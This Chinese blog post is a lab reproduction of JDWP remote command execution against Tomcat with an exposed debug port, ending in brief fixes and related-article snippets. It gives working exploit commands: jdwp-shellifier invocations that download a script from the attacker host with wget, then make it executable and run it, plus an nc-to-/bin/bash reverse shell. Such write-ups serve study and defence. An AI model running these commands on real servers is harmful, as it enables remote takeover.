【漏洞复现】JDWP远程命令执行漏洞

2023-11-09

0x01 简介

JPDA(Java Platform Debugger Architecture):即Java平台调试体系架构。Java虚拟机设计的专门的API接口供调试和监控虚拟机使用。

JPDA按照抽象层次,又分为三层,分别是:

  • JVM TI(Java VM Tool Interface):虚拟机对外暴露的接口,包括debug和profile。
  • JDI(Java Debug Interface):Java库接口,实现了JDWP协议的客户端,调试器可以用来和远程被调试应用通信。
  • JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。说白了就是JVM或者类JVM的虚拟机都支持一种协议,通过该协议,Debugger 端可以和 target VM 通信,可以获取目标 VM的包括类、对象、线程等信息,在调试Android应用程序这一场景中,Debugger一般是指你的 develop machine 的某一支持 JDWP协议的工具例如 Android Studio 或者 JDB,而 Target JVM是指运行在你mobile设备当中的各个App(因为它们都是一个个虚拟机 Dalvik 或者 ART),JDWP Agent一般负责监听某一个端口,当有 Debugger向这一个端口发起请求的时候,Agent 就转发该请求给 target JVM并最终由该 JVM 来处理请求,并把 reply 信息返回给 Debugger 端。

0x02 环境搭建

靶机:192.168.178.128(centos)
攻击机:192.168.178.129(kali)

1、Centos安装tomcat
Tomcat官网下载https://tomcat.apache.org/download-70.cgi,Tomcat 有一键安装版和解压版,要搭建jdwp环境只能使用解压版。
在这里插入图片描述2、解压安装tomcat

tar -zxvf apache-tomcat-7.0.108.tar.gz
mkdir /opt/tomcat
mv apache-tomcat-7.0.108 /opt/tomcat/

3、修改配置文件

cd /opt/tomcat/apache-tomcat-7.0.108/bin
vim catalina.sh
//在首行添加:
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"

连接方式有两种,为dt_shmem和dt_socket,分别表示本机调试和远程调试。address=8000 代表开启8000端口作为远程调试端口。./startup.sh启动tomcat。
在这里插入图片描述4、在windows上通过jdb连接debug模式的tomcat
jdb.exe -connect com.sun.jdi.SocketAttach:hostname=192.168.178.128,port=8000
在这里插入图片描述

0x03 漏洞复现

1、简单验证
telnet端口,如果返回JDWP-Handshake,即表示存在漏洞。

2、POC
(1)poc下载地址:https://github.com/IOActive/jdwp-shellifier
(2)该漏洞无回显,可利用dnslog进行探测
python2 jdwp-shellifier.py -t 192.168.3.118 -p 8787 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"
在这里插入图片描述3、反弹shell

下面内容均在攻击机上操作:

(1)准备反弹shell文件,保存为shell.txt
nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%

(2)进入到有shell文件的目录下,终端开启简单http协议,使得靶机可以下载shell文件
python3 -m http.server 8000

(3)开启监听,需要开启2个监听,前面一个输入执行命令,后面一个输出命令执行结果

nc -lvvp 3333
nc -lvvp 4444

(4)利用POC执行命令,下载shell、文件可执行权限、执行shell

python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "wget http://192.168.178.129:8000/shell.txt -O /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "/tmp/shell.sh"

(5)两个监听都收到shell,一个输入命令,一个输出结果
在这里插入图片描述

0x04 修复建议

(1)关闭JDWP端口,或者JDWP端口不对公网开放
(2)关闭Java的debug模式

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【漏洞复现】JDWP远程命令执行漏洞 的相关文章

  • 【汇编语言05】第4章 第一个程序

    目录 0 前言 1 源程序从编写到执行 1 1 第1步 编写汇编源程序 1 2 第2步 对源程序进行编译连接 1 3 第3步 执行可执行文件中的程序 2 简单源程序示例及其组成 2 1 简单源程序示例 2 2 伪指令 2 3 源程序与程序
  • 如何在chrome浏览器调试JS代码

    文章目录 资源 Sources 面板 控制台 Console 断点 Breakpoints debugger 命令 暂停并查看 日志记录 总结 参考文献 在编写更复杂的代码前 让我们先来聊聊调试吧 调试是指在一个脚本中找出并修复错误的过程
  • GetProcAddress()方法返回NULL值的问题

    使用动态加载的方式使用动态库 loadlibrary 成功加载动态库 之后使用GetProcAddress 方法得到函数指针却返回空值 使用GetLastError 方法得到错误代码127 出现此错误的原因一般是要加载的函数名称与动态库中函
  • GOOGLE开发者工具之CONSOLE

    代码调试 我们可以用console来调试js代码 有图有真相 我的代码执行到161行 如果想打印下 result 我就可以在Console中进行调试 输入代码 alert result result 回车即可 即可弹出result的结果 或
  • CSAPP第三版运行时打桩Segmentation fault

    CSAPP第三版7 13 3节提到了运行时打桩机制 它可以在运行时将程序中对共享库函数的调用进行截获 替换为执行自己的代码 这个机制基于动态链接器的LD PRELOAD环境变量 如果LD PRELOAD环境变量被设置为一个共享路径名的列表
  • QT编译警告 warning LNK4042: 对象被多次指定;已忽略多余的指定

    目录 场景复现 解决方案 场景复现 在一次移植QT工程时 发现qmake完成后报了下面一个警告 warning LNK4042 对象被多次指定 已忽略多余的指定 因为我只是移植工程 所以问题只能出在pro配置文件中 反复仔细观看发现在源文件
  • java.lang.UnsupportedOperationException解决方法

    项目中我需要一个ArrayList数组存放多个实体类对象 其中2个实体类对象是初始化时就需要存进去 另外的需要从另一个List循环提取数据存放 为了编码简洁使用了Arrays asList List
  • phpstudy2016 RCE漏洞验证

    文章目录 漏洞描述 漏洞验证 漏洞描述 PHPStudyRCE Remote Code Execution 也称为phpstudy backdoor漏洞 是指PHPStudy软件中存在的一个远程代码执行漏洞 漏洞验证 打开phpstudy2
  • pikachu靶场RCE的学习

    RCE remote command code execute RCE的概述 RCE漏洞 可以让攻击者直接向后台服务器远程注入操作系统命令或者代码 从而控制后台系统 RCE的分类 ping Ping Packet Internet Grop
  • 利用js去除无限debugger

    极简壁纸F12后悔无限debug 还会一直增加内存 导致卡机 将下面的代码放到开发者选项的Console里面 回车 就可以终止debug了 去除无限debugger Function prototype constructor back F
  • vscode——debugger

    提示 本文适用于vscode编译java代码调试初学者 文章目录 debugger图标介绍 左侧工具栏 调试代码 debugger图标介绍 在进行调试之前我们应先在代码前打断点 调试程序时 代码就会运行至断点位置然后停下 断点即为行数前小红
  • ValueError: not enough values to unpack (expected 2, got 1)错误解决方案

    在学习python时 遇到了错误 现已解决 源代码如下 role line spoken each line split 1 错误如下 ValueError not enough values to unpack expected 2 go
  • RuntimeError: one of the variables needed for gradient computation has been modified by an inplace o

    RuntimeError one of the variables needed for gradient computation has been modified by an inplace operation torch cuda F
  • Tomcat配置内存和远程debug端口

    配置内存 需要在catalina bat中添加JAVA OPTS参数 如下内容 SET JAVA OPTS Xms256m Xmx1024m XX MaxNewSize 256m XX MaxPermSize 428m Duser time
  • qt creator debug无法调试 进入 qt源码

    qt creator无法调试qt源码的问题 如果自己写的代码无法调试请移步这里 qt下载地址 https download qt io archive qt https download qt io new archive qt 正常来讲
  • Python报错:ImportError: cannot import name XXX

    Python报错 ImportError cannot import name XXX 起因 在使用sklearn部分包库时出现该问题 尝试多种方法无果 解释及解决方法 语句中涉及的包库和已安装的包库出现了版本不一致的问题 比如你导入的包库
  • 在vscode中做实验出现的bug......

    1 python如何调用opencv中的saliency模块 如果你已经安装了opencv python的库 但是调用cv2 saliency方法时出现了如下的报错 module cv2 saliency has no attribute
  • 完美解决UnicodeEncodeError: ‘gbk‘ codec can‘t encode character ‘\xa0‘ in position XX: illegal multiby...

    目录 项目场景 问题描述 原因分析 解决方案 replace函数 其他解决方法 来源网络 使用re sub 使用translate方法 利用split方法 使用unicodedata模块 项目场景 从网上抓了一些小说的数据 但实际上网页是g
  • 服务器运行python代码报错:intall python Extension

    当我安装时候又报错 WARNING Retrying Retry total 4 connect None read None redirect None status None after connection broken by New
  • [ISCTF 2023]——Web、Misc较全详细Writeup、Re、Crypto部分Writeup

    前言 由于懒我直接把上交的wp稍加修改拉上来了 凑活看 文章目录 前言 Pwn test nc nc shell Reverse Creakme EasyRe

随机推荐

  • 技术人修炼之道阅读笔记(六)解决对抗性思维方法

    技术人修炼之道阅读笔记 六 解决对抗性思维方法 网上经常看见产品经理和开发人员的段子 例如 杀死一个开发人员不用枪 只需要改三次需求 技术人开会 产品经理能安然无恙坐在这里 是因为门外有保安 等 这些都说明了产品经理和开发人员的矛盾 那么问
  • qt检查文件夹是否有写权限

    Qt 使用如下函数能够判断路径或者文件是否可写 bool QFileInfo isWritable const 对于win10系统实测 结果不准确 继续排查 官方文档描述 a 如果未启用 NTFS 权限检查 Windows 上的结果将仅反映
  • IDEA 程序包不存在,找不到符号但是明明存在对应的jar包 的解决方案

    注 本人刚开始是使用 Settings gt Build gt Build Tools gt Maven gt Runner gt 勾选上Delegagte IDE build run actions to Maven 这种办法 成功解决了
  • 内核管理-之进程虚拟内存-基于linux3.10

    关于启动过程内存管理见 内存管理 之启动 关于内核空间内存管理见 内存管理 之内核内存管理 如果需要 内存管理五章整理成pdf了 下载地址http download csdn net detail shichaog 8662135 进程的虚
  • hashmap 允许key重复吗_搞懂 HashMap,这一篇就够了

    HashMap 概述 如果你没有时间细抠本文 可以直接看 HashMap 概述 能让你对 HashMap 有个大致的了解 HashMap 是 Map 接口的实现 HashMap 允许空的 key value 键值对 HashMap 被认为是
  • Flutter页面关闭时Crash

    Flutter页面关闭时Crash 问题描述 项目中使用了Flutter的WebView组件来加载H5 关闭Activity时 如果FLutter页面中包含 WebView 就会导致Crash 页面中如果没有WebView 则正常关闭 Fl
  • 分布式一致性算法--Paxos

    分布式一致性算法 Paxos 2017 08 31 10 15 0人阅读 评论 0 收藏 编辑 删除 分类 Paxos 1 分布式一致性算法 Paxos Paxos算法是莱斯利 兰伯特 Leslie Lamport 1990年提出的一种基于
  • 深入探索Android稳定性优化

    前言 成为一名优秀的Android开发 需要一份完备的知识体系 在这里 让我们一起成长为自己所想的那样 众所周知 移动开发已经来到了后半场 为了能够在众多开发者中脱颖而出 我们需要对某一个领域有深入地研究与心得 对于Android开发者来说
  • Caffe解惑:为什么Caffe里头有mutable_cpu_data和cpu_data

    一开始看代码的时候会纳闷 为啥caffe里头又一个 cpu data 还要有一个mutable cpu data 其实从字面就可以看出来这个mutable就是易变的意思啦 二话不说翻出源代码看看究竟有啥区别 const void Synce
  • C# 入门教程

    C 简介 C 是一个简单的 现代的 通用的 面向对象的编程语言 它是由微软 Microsoft 开发的 下面列出了C 成为一种广泛应用的专业语言的原因 现代的 通用的编程语言 面向对象 面向组件 容易学习 结构化语言 它产生高效率的程序 它
  • clickhouse-jdbc代码优化实现无感知故障转移及负载均衡

    clickhouse数据库一直以单点功能强悍而闻名 在单点性能上 无人出其右 但是也需要指出的是 clickhouse集群的集群管理功能却是非常薄弱的 比如说无集群统一管理功能 无集群统一读写接口 仅依靠分布式表和副本表 实现了多节点之间数
  • cas cvm服务器虚拟化安装虚拟机,CAS系统如何安装虚拟机

    1 在CVM的云平台中选择一台物理服务器右击 在弹出的选项中选择 增加虚拟机 给虚拟机配置名称 选择操作系统版本 这一步一定要注意 这里选择的操作系统版本指的是会安装对应操作系统版本的驱动 如果这里选择的版本和实际安装的操作系统版本不一致会
  • 使用Python,OpenCV和Hough圆检测图像中的圆

    使用Python OpenCV和Hough圆检测图像中的圆 1 效果图 2 cv2 HoughCircles image method dp minDist 3 源码 参考 前几篇博客中有介绍 使用OpenCV检测图形中的三角形 正方形 矩
  • Oracle sys_guid()函数

    简介 SYS GUID 是Oracle 8i 后提供的函数 产生并返回一个全球唯一的标识符 类似于Java的UUID 使用方法 select sys guid from dual 运行效果 解决乱码 select RAWTOHEX sys
  • JAVA介绍

    1 Java的简单介绍 Java作为C语言和C 的衍生物 其有很多的功能与C语言及C 的功能相似 但是又不同与C语言及C 在Java的领域中 其相对于C语言及C 所具有的特征为没有指针 没有内存管理 具有真正的可移植性 及可以跨平台进行创作
  • 走进音视频的世界——RGB与YUV格式

    在图像的世界里 一般使用RGB作为存储格式 而在视频的世界里 一般使用YUV作为压缩存储格式 有时候面试官会问 为什么视频使用YUV来压缩存储 而不用RGB YUV与RGB有什么区别 两者如何转换的 常见的RGB格式有哪些 常见的YUV格式
  • LInux服务器巡检脚本模版

    Linux服务器巡检脚本模版可以用来定期检查服务器的状态和运行情况 以便及时发现并解决问题 下面是一个简单的巡检脚本模版供参考 bin bash 定义变量 LOG FILE var log server check log EMAIL AD
  • 标签平滑Label Smoothing

    转载 https cloud tencent com developer article 1815786 目录 One hot gt Label Smoothing label smoothing 降低feature norm 标签平滑归一
  • buuctf-[ACTF2020 新生赛]Exec(小宇特详解)

    buuctf ACTF2020 新生赛 Exec 小宇特详解 这里是ping 我首先想到了ping本地 然后用其他语句找到flag 后来看其他人的办法是进行了抓包 这里先用一个常用管道符 1 就是按位或 直接执行 后面的语句 2 逻辑或 如
  • 【漏洞复现】JDWP远程命令执行漏洞

    0x01 简介 JPDA Java Platform Debugger Architecture 即Java平台调试体系架构 Java虚拟机设计的专门的API接口供调试和监控虚拟机使用 JPDA按照抽象层次 又分为三层 分别是 JVM TI